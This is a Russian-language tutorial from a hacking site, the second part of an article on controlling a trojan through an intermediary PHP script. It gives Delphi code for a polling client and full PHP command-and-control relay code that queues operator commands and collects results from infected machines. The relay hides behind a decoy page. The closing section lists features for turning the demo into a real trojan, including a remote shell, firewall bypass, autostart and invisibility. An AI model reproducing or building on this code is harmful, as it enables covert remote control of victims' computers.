| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 216.73.217.93
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио сторона Обратная Tor антенна Направляющяя ноута php libc rand() эксплоит Windows Server 2008 QIP Virtual openvz Tune kernel sysctl proc freeBSD mrtg Bluetooth GEO game emulator Shell Python червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Финансовый кризис Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент TomTom браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM Интерпол США Dell контроль кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Windows XP нетбук торрент музыка Биометрический Nokia ФБР IP-адрес sms RSA java флешки Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети ipod копирайт McAfee HTTPS icann студент WebMoney Норвегия New York Times YouTube Warner Music КНДР БД Ubuntu касперский Россия РФ сервер хостинг Wi-Fi суд пароль логин блог ПОЛЬША фишинг одноклассники Медведев контрафакт мошенник sony warner Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи Сбой мошенничество Доктор ВЕб Вконтакте исходный код Прослушка судья МВД фильтр порнография свобода слова казахстан Sony Music сисадмин Autodesk Gmail кредитная карта LiveJournal шифрование банк кодек Нанотехнологии wikipedia выборы DNS Android атака Mac OS X Security Essentials домен ФСБ прокуратура уголовное дело ICQ Visual Basic Sophos ошибка военные DARPA сайт текст турция конференция спамер Полиция Koobface Великобритания белоруссия Грузия Европа биржа Билл Гейтс Стив Джобс спецслужбы Royal Bank of Scotland смартфон F-Secure Symbian трафик фильм Ватикан SP1 Новая Зеландия Adobe Австралия IDC Internet Explorer 9 iPad должник Рунет Ирландия поиск шифр МТС Реклама слежка компьютерные игры Office 2010 Zeus личные данные eset защита виртуализация LibreOffice Черный список BlackBerry индия Москва социальные сети flash player paypal BitDefender сертификат Anonymous технологии IPv6 Ассанж Оптоволокно передача данных ГОСТ арест Samsung Иск акция конкуренция учетная запись Корея оборудование Британия Телевидение исследование Рентген Санкт-Петербург мошенники Таиланд Обновление климат SOPA PIPA Регистрация взятка Азербайджан МЕТРО Megaupload отчет приложение технология мобильная связь Инвестиции платформа версия отключение Valve DRM роскомнадзор оон кабель КНР

Главная » Статьи » Общие Статьи

Управление трояном через скрипт-посредник №2

Код, реализующий это, выглядит так:

// сначала запрос пустой
request:='';
//
цикл работы трояна
while true do
begin
//
отсылаем скрипту запрос
if (SendStringViaHTTP('127.0.0.1', 'test1.ru', 80, '/index.php', request, answer)<>0) then
begin
//
если отослать не удалось - ждём минуту и крутим следующую итерацию
sleep(1000*SEC);
continue;
end;
//
если отослать удалось - проверим answer
if (answer='') then
begin
//
команд от хакера нет - очистим reques,
//
ждём минуту и крутим следующую итерацию
request:='';
sleep(1000*SEC);
continue;
end;
//
если управление дошло сюда - в answer у нас команда хакера
//
выполняем команду
request:=DoCommand(answer);
end;


Здесь answer и request у нас глобальные переменные типа AnsiString. В answer находится очередная команда хакера, которую передал скрипт. Команду выполняет функция DoCommand (о ней мы поговорим чуть позже). Та же функция возвращает результаты выполнения команды, которые заносятся в request и немедленно передаются скрипту. Если команд от скрипта не поступало, троян "засыпает" на SEC секунд, а потом опять шлёт запрос скрипту.

Естественно, аргументы 127.0.0.1 и test1.ru функции SendStringViaHTTP взяты "от фонаря", вместо них должны строять реальные хосты и/или IP адреса.

Теперь о функции DoCommand и о самих командах. Что бы не делать из нашего примера настоящий троян (УК-то ещё действует ;)), на любую команду, переданную хакером, троян будет отвечать текстом типа:

23.06.05 01:30:14] Принята к выполнению команда: dir
Результат выполнения: 
Троян не настоящий ;), поэтому вместо результата выполнения команды dir выводит этот текст! ;))


Таким образом наш "троян" не выполняет никаких команд, он лишь сообщает, когда и какую команду принял от скрипта. Как видим, всё вполне цивильно - безобидная программка демонстрирует принцип ;)))

Код процедуры DoCommand с подробными комментариями:

// функция выполняет команду и возвращает результат выполнения
function DoCommand(comm: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
begin
//
проверим, есть ли там вообще команда
if comm='' then
begin
// нет - вернём пустую строку
Result:='';
exit;
end;
//
если управление дошло сюда, значит команда есть
//
зафиксируем время поступления команды на выполнение
Result:=StringOfChar(' ', 8+1+8); // 8 на dd.MM.yy, 1 на пробел, 8 на HH:mm:ss
GetLocalTime(systime);
GetDateFormat(0, 0, @systime, 'dd.MM.yy', @Result[1], 8);
GetTimeFormat(0, 0, @systime, 'HH:mm:ss', @Result[10], 8);
//
зафиксируем команду, которая пришла на исполнение
Result:=Result+'] Принята к выполнению команда: <b>'+comm+'</b><br>';
//
сообщение о результате выполнения:
Result:=Result+'Результат выполнения: <br>';
//
если бы это был настоящий троян, тут бы выполнялась переданная
//
команда и мы бы дописали результат её выполнения в конец Result,
//
но т.к. это лишь пример, мы допишем туда только этот текст:
Result:=Result+'Троян не настоящий ;), поэтому вместо результата '+
'выполнения команды <b>'+comm+'</b> выводит этот текст! ;))<br>';
end;


Думаю, никаких дополнительных объяснений к приведённому коду не требуется. Уффф... с трояном мы вроде бы разобрались. Перейдём теперь к скрипту посреднику.

Скрипт-посредник

Скрипт-посредник напишем на PHP. Во-первых бесплатный хостинг с PHP - это действительно не проблема. Во-вторых PHP похож на C++, что само по себе не может не радовать ;)

Прежде всего, скрипт должен знать пароль трояна, поэтому в самом начале скрипта определим переменную:

$TROJAN_PSW = '<тут пароль трояна>';

При каждом обращении скрипт должен проверять, не троян ли к нему обратился. Для этого достаточно посмотреть поле заголовка User-Agent:

if($_SERVER['HTTP_USER_AGENT']==$TROJAN_PSW){
//
запрос прислал троян - обрабатываем!
... ... ...
};


Обрабатывая запрос трояна, сначала посмотрим, прислал ли он какие-нибудь данные. Для этого проверим, передан ли скрипту параметр data. Если data передан и это не пустая строка - допишем его в конец файла trojan.txt. Когда скрипт будет обрабатывать запрос хакера, он через web-интерфейс отдаст ему содержимое файла trojan.txt. 

Кодом следующий:

if(isset($_POST['data'])){
//
есть параметр data!
$data = $_POST['data'];
if($data!=''){
//
строка в $data не пуста - допишем её в
//
файл trojan.txt
$f = fopen('trojan.txt', 'a+');
fwrite($f, $data."<br>");
fclose($f);
};
};


Дальше нам необходимо передать трояну очередную команду от хакера. Команды, которые хакер передаёт скрипту, сохраняются в текстовом файле hacker.txt. Поэтому мы для начала проверим, существует ли файл hacker.txt вообще:

if(file_exists('hacker.txt')){
// файл существует - работаем с ним
... ... ...
};


В каждой строке файла hacker.txt содержится по одной команде. Это очень удобно, потому что мы должны отдавать трояну как раз по одной команде за запрос. Причём в том же порядке, в котором хакер присылал эти команды скрипту.

Реализуется это так. Сперва мы считываем файл в массив $a:

// каждая строка файла становится элементом массива
$a = file('hacker.txt');


Затем проверяем, не пуст ли массив - ведь файл hacker.txt может существовать, но быть пустым. Если массив не пустой, мы берём из него первый элемент (вернее нулевой элемент - первую команду в файле hacker.txt). Прежде чем отдать команду скрипту, мы её "почистим": уберём байты 0x0D, 0x0A (функции addcslashes и replace) и пробелы в начале и конце (функция trim). Затем мы отдадим "почищенную" команду трояну и удалим hacker.txt:

if (count($a)>0){
print trim(str_replace('\r', '', str_replace('\n', '', (addcslashes($a[0], "\r\n")))));
unlink('hacker.txt');
};


Если переданная нами команды была единственной, мы оставим всё как есть - при надобности скрипт снова создаст файл hacker.txt. Если же кроме в hacker.txt были другие команды, создадим этот файл заново и запишем их туда - но уже без первой, т.к. её отдали скрипту:

// есть ли ещё команды?
if (count($a)>1){
//
да! - запишем их обратно в hacker.txt
$f = fopen('hacker.txt', 'w');
for($i=1;$i<count($a);$i++){
fwrite($f, $a[$i]);
};
fclose($f);
};


На этом работа с трояном завершена - пошлём ему строку '</body>' (ведь именно по ней функция трояна SendStringViaHTTP узнаёт, что передача данных от скрипта закончена) и "убьём" скрипт:

die('</body>');

В скрипте сразу за кодом, который работает с трояном, следует код, работающий с хакером. Скрипт "узнаёт" хакера по паролю, переданному в параметре psw методом GET или POST. Правильное значение пароля хранится в переменной $HACKER_PSW, которая в скрипте прописана сразу за $TROJAN_PSW.

Проверка параметра psw осуществляется так:

if(isset($_GET['psw'])){$psw = $_GET['psw'];};
if(isset($_POST['psw'])){$psw = $_POST['psw'];};


Если пароль передан (переменная $psw существует), проверим правильный ли он:

if(isset($psw)){
if($psw==$HACKER_PSW){
//
передан правильный пароль - запрос прислал хакер
//
обрабатываем
... ... ...
};
};


Обработка запроса идёт по следующей схеме. Во первых проверим, передал ли хакер какую-то команду. Команды хакера передаются в параметре cmd, который посылается скрипту методом POST. Если команда от хакера есть, обрежем в ней справа и слева пробелы (функция trim) и проверим, не является ли команда пустой строкой. Если не является - допишем её в конец файла hacker.txt (в нём, как мы уже говорили, хранятся команды хакера). Код, реализующий всё это, достаточно прост:

if(isset($_POST['cmd'])){
//
да, передал - проверим, или команда не пустая
$cmd = trim($_POST['cmd']);
if($cmd!=''){
//
непустая - запишем её в файл
$f = fopen('hacker.txt', 'a+');
fwrite($f, $cmd."\n");
fclose($f);
};
};


После того, как команда хакера принята и сохранена, позаботимся о веб-интерфейсе. Сформируем "шапку" - верхнюю часть html-странички, которую хакер увидит в своём браузере. В "шапке" будет раздел HEAD и начало раздела BODY.

В BODY мы пропишем форму с текстовым полем cmd (сюда хакер будет вводить команды), submit-кнопкой и скрытым полем psw, содержащим пароль хакера. В качестве скрипта-назначения данных формы укажем пустую строку (т.е. сам наш скрипт), а в качестве метода - POST. Таким образом при каждой отправке данных из формы скрипт кроме команды в cmd будет поучать ещё и пароль в psw - и таким образом определять, что команду в cmd ему прислал хакер.

Только при первом вызове скрипта хакеру нужно будет сформировать GET-запрос с параметром psw=<пароль_хакера>. Это легко сделать "ручками" прямо в адресной строке браузера или создать соответствующий ярлык (естественно, хост test1.ru взят "от фонаря"):



Кроме того, мы разместим на форме надпись "обновить", под которую положим ссылку вида http://<адрес_скрипта>?psw=<пароль_хакера>. Когда хакер будет на неё кликать, скрипту будет передаваться пароль методом GET без каких-либо данных. Таким образом скрипт будет просто вызываться повторно, ничего не записывая в hacker.txt. Зачем это надо? Забегая наперёд скажу, что сразу за "шапкой" мы будем выводить содержимое файла trojan.txt (если помните, это файл с сообщениями трояна). Поэтому ссылка "обновить" нужна для того, что бы в web-интерфейсе можно было посмотреть, какие сообщения добавились в trojan.txt со времени последнего обращения хакера к скрипту.

Код, формирующий "шапку", имеет такой вид:

print '<html><head><title>Пример к статье "УПРАВЛЕНИЕ ТРОЯНОМ ЧЕРЕЗ WEB-ИНТЕРФЕЙС СКРИПТА-ПОСРЕДНИКА"</title></head>
<body>
<form name="cmdForm" action="" method="post">
<input name="cmd" type="text" value="">
<input type="submit" value="Send">
<input name="psw" type="hidden" value="'.$HACKER_PSW.'">
<br>[ <a href="'.$_SERVER['SCRIPT_NAME'].'?psw='.$HACKER_PSW.'">обновить</a> ]
</form>
<hr>
';


В браузере сформированная шапка выглядит примерно так:



После "шапки" выведем содержимое файла trojan.txt. Тут всё очень просто:

if(file_exists('trojan.txt')){
//
файл существует
$a = file('trojan.txt');
//
выведем его
for($i=0;$i<count($a);$i++){
print $a[$i];
};
};


Закончим формирование страницы web-интерфейса:

die('</body></html>');

Web-интерфейс трояна будет иметь примерно такой вид:



Хорошо, а что если наш скрипт вызвали случайно? Ну, там, какой-нибудь Вася Пупкин нашёл ссылочку "гуглом"? Ничего страшного! =) Поскольку при обычном вызове скрипта никаких паролей ему не передаётся, то коды обработки запросов трояна и хакера просто не получат управления.

Однако специально для Васи Пупкина мы выведем следующий "содержательный" контент :-D:



Код, который это делает, разместим в самом конце скрипта:

print "<head><title>Свободу хомячкам!</title></head>
<body>
<h1>Сайт общества защиты хомячков от сексуально насилия, излучений озоновых дыр и пьяных аспирантов биофака.</h1>
<h2>Under Construction!</h2>
</body>";


Ну вот, со скриптом вроде бы тоже разобрались. Можно подводить итоги.

Итоги

Конечно, в статье описан не полноценный троян, а программка-пример, которая лишь демонстрирует принцип управления трояном через серверный скрипт. Исходники, кстати, лежат здесь. Программа нормально компилируется под Delphi 7, для PHP-скрипта нужен интерпретатор PHP 4.x, можно под Windows.

Конечно, этот пример при определённой доработке вполне может стать настоящим трояном. В наш троян можно добавить добавил такие фишки:

  • более совершенный механизм проверки соединения с и-нетом, определение прокси (если троян попал в локальную сеть, которая видит нет только через прокси) и работа через него;
  • улучшеная работа с HTTP (хотя бы проверка кодов ответа сервера);
  • механизм обхода файрволов (внедрение в браузер, дравер или ещё что-то тип этого);
  • выполнение трояном команд (например, удалённая cmd-консоль);
  • автозагрузка, невидимость и пр. фишки, которые есть в любом трояне;

А скрипту бы не помешало:

  • генерировать случайные имёна для файлов trojan.txt и hacker.txt;
  • предотвращать совместный доступ к этим файлам (может случится, что и троян и хакер одновременно запустят скрипт-посредник, и тогда две копии скрипта могут "поссориться" из-за доступа к файлам);
  • формировать более удобный и функциональный web-интерфейс с поддержкой двух фреймов: первый с формой, второй - с данными скрипта, и что бы обновлялся автоматически, а сообщения трояна что бы добавлялись наверх, как в чатах;
  • выводить какую-то дополнительную информацию, а не одни только ответы трояна: например, показывать, какие из посланных команд переданы трояну, а какие ещё ожидают своей очереди;
  • давать возможность управлять сразу несколькими копиями трояна;
  • ещё какие-то мелкие удобства вроде приятного дизайна, кнопки "очистить файл trojan.txt" и т.п.

Как видим, работы ещё много. Но это не страшно - ведь всё в наших руках ;))

Категория: Общие Статьи | Добавил: LeadyTOR (04.01.2009)
Просмотров: 2764 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

05:49
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2026 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика